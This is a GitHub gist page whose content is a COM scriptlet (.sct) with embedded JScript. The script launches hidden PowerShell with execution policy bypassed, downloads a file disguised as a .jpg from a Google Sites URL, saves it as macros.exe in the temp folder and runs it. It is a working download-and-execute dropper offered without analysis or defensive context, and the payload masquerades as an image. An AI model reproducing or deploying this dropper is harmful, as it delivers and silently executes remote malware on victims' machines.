Skip to content

Instantly share code, notes, and snippets.

@Elm0D
Last active September 1, 2017 22:33
Show Gist options
  • Select an option

  • Save Elm0D/d9a6e45d3d2a5eb35a1dd8ef4f204ec6 to your computer and use it in GitHub Desktop.

Select an option

Save Elm0D/d9a6e45d3d2a5eb35a1dd8ef4f204ec6 to your computer and use it in GitHub Desktop.
<?XML version="1.0"?>
<scriptlet>
<registration
description="FofX"
progid="FofX"
version="1.00"
classid="{00001111-0000-0000-0000-0000FEEDACDC}"
>
<script language="JScript">
<![CDATA[
var EGu = new ActiveXObject("WScript.Shell");
var WszDO = "$down = New-Object System.Net.WebClient;$url = 'https://sites.google.com/site/elm0d4upload/documents/VB6%20TestMsgBox.jpg?attredirects=0&d=1';$file = '%TMP%\\macros.exe';$down.DownloadFile($url,$file);$exec = New-Object -com shell.application;$exec.shellexecute($file);exit;";
var zH = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command ';
EGu.Exec(zH + WszDO);
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment